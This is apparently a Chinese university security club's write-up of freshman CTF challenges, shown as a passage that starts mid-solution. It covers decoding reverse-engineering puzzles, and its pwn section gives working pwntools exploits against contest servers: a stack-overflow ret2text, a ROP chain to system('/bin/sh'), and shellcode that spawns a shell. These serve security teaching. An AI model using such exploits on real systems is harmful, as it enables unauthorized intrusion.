key = "genshinimpact"
encoded_data = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, 162, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
decoded_data = decode(key, encoded_data)
print("re4解密之后的码表:", decoded_data)
string = "VVwPUWsYcXEPW0MpN35gW0FwW1RxandgJTE8"#base64密文
tableBase64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"#base64原来的码表
tableNew = decoded_data
flag = base64.b64decode(string.translate(str.maketrans(tableNew, tableBase64)))
print("解密之后的flag:" ,end="")
print( flag )
'''
一些base64库的函数介绍:
maketrans():用于创建字符映射的转换表,对于接受两个参数的最简单的调用方式,第一个参数是字符串,表示需要转换的字符,第二个参数也是字符串表示转换的目标;
translate():法根据参数table给出的表(包含 256 个字符)转换字符串的字符, 要过滤掉的字符放到 del 参数中;
decode():以encoding指定的编码格式解码字符串。'''
flag:QLNU{YuaN_Sh3n!_Q1_D0ng!!!} 另外其实whatwhatme和whatme这俩函数上面也有提示是什么加密,细心的人捏应该已经看到了 彩蛋:拿到正确的flag输入为密码时,会真正的原神启动!!!!
澳门博彩模拟器
查壳
pyinstaller,这个可不算是什么壳,这个是真的打包工具,是python写的py文件,然后使用pyinstaller打包出来的exe程序 具体的讲解可以学习一下雪月三十佬的博客:
https://blog.csdn.net/weixin_49764009/article/details/120340153
他用的是uncompyle6,但是随着现在时代的进步,uncompyle6只能支持python 3.8.6之前的版本了,后面的版本就编译不了了(出的题时候用的3.10,编译了好久好久都寄)
现在推荐用pycdc,但是吧,pycdc有点难配置(指要用ide和cmake加载程序)
大佬可以自行搜素配置
首先是exe -> py,
这一步就有pyinstxtractor就行 python pyinstxtractor game.exe
然后就转到了pyc,之后可以用uncompyle6
pip install uncompyle6 配置环境 uncompyle6 game.pyc 得到源码,当然为了方便观看,就加上 ->来生成一个1.py
打开之后,发现汉字是乱码,并且用pycharm打开的话提示编码问题
那就将编码设置为GBK吧,然后就可以看到完整的源码,找到几个比较关键的地方 首先是一个enc的数值: enc = '48514D5A4C5455364141416A466855544B67456D46523874487773644B5473505067347A436877304743674A4541494B6643556D4A7967704B6E6439' 然后往下看看哪里调用了这个enc的数据:
这里有一个购买密文的地方,调用了enc,然后传入了一个encodeeee.cccccccc()函数里面 但是在这个game里面并没有找到我们要的encodeeee.cccccccc()这个函数,说明是调用了外部的函数 再看一下文件头: 有一个import
Time 和 random是python自带的内置函数,但是那个encodeeee这个名字,一看就知道是我们自己定义的,所以可以找找有没有encodeeee.pyc这个文件,并且给他编译回py看代码 有的有的!编译一下
反编译后打开就看到了这个cccccccc函数,参数应该就是那个enc
这个函数是干啥的嘞,23级数电应该学到了BCD8421码吧,我就不多解释了,这里就是一个BCD码转化成字符串的代码,当然也可以拿赛博厨子嗦:
得到了被加密之后的密文,这里再给一个python的代码实现相应的功能 (不用会写,会用就行)
def bcd_to_string(bcd_string):
output_string = ""
for i in range(0, len(bcd_string), 2):
bcd_code = int(bcd_string[i:i+2], 16) # 将2位的十六进制字符串转换为整数
output_string += chr(bcd_code)
return output_string
enc = "48514D5A4C5455364141416A466855544B67456D46523874487773644B5473505067347A436877304743674A4541494B6643556D4A7967704B6E6439"
secret = bcd_to_string(enc)#整体的bcd_to_string()函数就是在把题目中的enc(8421BCD码)转化成字符串的形式,得到我们的密文
print("我们得到的密文是:"+secret)
然后回到game.py继续看 我记得是玩游戏的时候是可以选择验证flag还是玩游戏获得密文来着,到现在我们就完成了获得密文的工作 验证flag的话,看一下
还是调用了encodeeee里面的check_flag()的方法
浅看一下: 大体的流程就是,首先把enc经过bec转字符串函数,得到我们的密文,刚刚也得到了:HQMZLTU6AAAjFhUTKgEmFR8tHwsdKTsPPg4zChw0GCgJEAIKfCUmJygpKnd9 然后是一个异或:
for i in range(len(inputs) - 1):
inputs[i] = inputs[i] ^ inputs[i + 1] ^ i
这个呢就是一个自身异或之后再和i异或,逆的话要从后往前进行,并且异或一下i就行 再然后就是一个base64了 逆向的过程就是先解base64-->然后异或-->拿到flag 脚本奉上:
import base64
def bcd_to_string(bcd_string):
output_string = ""
for i in range(0, len(bcd_string), 2):
bcd_code = int(bcd_string[i:i+2], 16) # 将2位的十六进制字符串转换为整数
output_string += chr(bcd_code)
return output_string
enc = "48514D5A4C5455364141416A466855544B67456D46523874487773644B5473505067347A436877304743674A4541494B6643556D4A7967704B6E6439"
secret = bcd_to_string(enc)#整体的bcd_to_string()函数就是在把题目中的enc(8421BCD码)转化成字符串的形式,得到我们的密文
print("我们得到的密文是:"+secret)
secret = secret.encode('utf-8')
secret = bytearray(base64.b64decode(secret))#调用内部的base64的解密函数进行解密
# 将字节数据转换为字符串
secret = secret.decode('utf-8')#两个.decode('utf-8')只是修改文件的定义格式,方便后面的操作
for i in range(len(secret) - 2, -1, -1):#从倒数第二位开始进行逆向的异或,疑惑到-1,并且每次都i-1(往前走)
secret = secret[:i] + chr(ord(secret[i]) ^ i ^ ord(secret[i + 1])) + secret[i + 1:]#疑惑加密,只不过是三个一起,问题不大
print("解密之后的flag:"+secret)
flag:QLNU{Just_@_GamE_PlaypLay_HappY_hApPy!!!!!!!}
base64??快秒!!
本来题更难,在原有的基础上,把逻辑弄得稍微复杂了一点,然后就改回了"简略版"
然后下面是校赛版本:
本次可以拿这个反编译的代码和正常的base64加密后的代码对比一下,其实仔细观察就发现是对于base64的加密源码进行了一些"稍微"的改动
这是常规的base64编码,在后面有前三个位移是,2,4,6并且没有异或符号,但是反观本题的base64,它不仅仅是0,6,4,2的位移,而且还在后面加了一个异或符号 虽然看上去是修改了base64的加密流程,其实base64还是base64,只是重新分配了顺序 所以逆向的大体思路可以是先四个为一组倒过来排列,然后再异或各自的数字就可以了 解密脚本如下:
import base64
secret = "G~QW]rTpmCQK?5WNH[nTnLnHROqPif}?Rgn3CS~Phg`T7ZG?ROn3CS1PSO"
enc = []
for i in range(0, len(secret), 4):
for j in range(3, -1, -1):
enc.append(secret[i+j])
key = [2, 4, 6, 8]
data = [ord(char) for char in enc]
flag = []
for i in range(len(data)):
data[i] = data[i] ^ key[i % 4]
flag.append(chr(data[i]))
decoded_flag = base64.b64decode("".join(flag)).decode()
print(decoded_flag)
Pwn
special_nc
hint
思路: 百度搜索
https://blog.csdn.net/liucy007/article/details/90207830
Linux输出重定向 >> 文件 ?>&?
做法一:
ls 1>&2
cat flag 1>&2
做法二:
exec 1>&2
cat flag
easy_ret2text
程序源码:
随便找个文章
看一下read函数。第三个参数是输入长度,只要我们让read函数第三个参数足够长。就能进行栈溢出。 exp:
r = remote('101.34.80.152',33594)
# r = process("./easy_ret2text")
# r = gdb.debug("./easy_ret2text")
context(arch='amd64',os='linux',log_level='debug')
elf = ELF("./easy_ret2text")
#lambda 函数了解一下
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b''))
uu64 = lambda data :u64(data.ljust(8, b''))
lic = lambda data :uu64(ru(data)[-6:])
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it = lambda :r.interactive()
ru(b'characters to read: ')
sl("100")
pad = b'a'*0x20
gift = 0x40077B
ret = 0x40124C
pl = pad + p64(0) + p64(gift)
sl(pl)
it()
baby_text
发现漏洞点 gets
有system的利用,但是参数不对。不能直接进行跳转text进行交互
shift+12,发现参数/bin/sh,利用rop思想,将参数传入system即可。
ROPgadget --binary rop_ret2text --only "pop|ret"
0x00000000004006ec : pop rdi ; ret
所用gadget片段
binsh地址
exp:
# from LibcSearcher import*
from pwn import *
# context(arch='amd64',os='linux',log_level='debug')
r = remote("101.34.80.152",33210)
# r = gdb.debug('./rop_ret2text')
# r = process('./rop_ret2text')
elf = ELF('./rop_ret2text')
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b''))
uu64 = lambda data :u64(data.ljust(8, b''))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()
system = elf.plt['system']
pad = b'a'*32
good = 0x601048
rdi = 0x00000000004006ec
ret = 0x0000000000400546
pl = pad + p64(0) + p64(ret) + p64(rdi) + p64(good) + p64(system)
sl(pl)
it()
EzShellcod3
main函数无法进行反汇编,shellcode的题型很具体的体现。
通过welcome函数。确认为shellcode挑战
汇编分析
.text:000000000040073D lea rax, [rbp+s] ; 将局部变量s的地址加载到rax寄存器中
.text:0000000000400741 mov rdi, rax ; 将rax寄存器的值(s的地址)移动到rdi寄存器中,作为第一个参数传递给函数
.text:0000000000400744 mov eax, 0 ; 将0移动到eax寄存器中,用于清除之前的返回值
.text:0000000000400749 call _gets ; 调用不安全的gets函数,它将输入读取到s指向的缓冲区中,没有缓冲区溢出检查
.text:000000000040074E lea rax, [rbp+s] ; 再次将局部变量s的地址加载到rax寄存器中
.text:0000000000400752 mov [rbp+var_8], rax ; 将rax寄存器的值(s的地址)存储在局部变量var_8中
.text:0000000000400756 mov rax, [rbp+var_8] ; 将局部变量var_8的值(s的地址)加载到rax寄存器中
.text:000000000040075A call rax ; 将s的地址当作函数指针调用,这是一个典型的缓冲区溢出攻击场景,可能导致执行任意代码
.text:000000000040075C mov eax, 0 ; 将0移动到eax寄存器中,设置函数返回值
.text:0000000000400761 leave ; 清理函数栈帧,等同于mov rsp, rbp; pop rbp;
.text:0000000000400762 retn ; 从函数返回
所以通过输入一段shellcode,输入进去就行
from pwn import *
r = remote('101.34.80.152',33608)
# p = gdb.debug('./ret2shellcode')
# p = process('./shellcode')
context(arch='amd64', os='linux')# shellcode需要设置架构类型
context.log_level = 'DEBUG'
shellcode = asm(shellcraft.sh())#pwntools生成的shellcode,更多的shellcode请自行搜索。
r.recvuntil(b"A normal shellcode challengen")
r.sendline(shellcode)
r.interactive()
结语
参加CTF比赛是一次充满挑战和收获的经历。通过解决各种安全问题,同学们不仅学到了许多新的技术和知识,也锻炼了自己的解决问题的能力。这个比赛让同学们深刻认识到网络安全的重要性,并激发了同学们对深入学习和探索这个领域的热情。相信这次比赛只是23新生网络安全之旅的起点,同学们会继续努力学习,提升自己的技能,并将所学应用于实践中,为网络安全领域的发展做出贡献。
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博:齐鲁师范学院网络安全社团
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论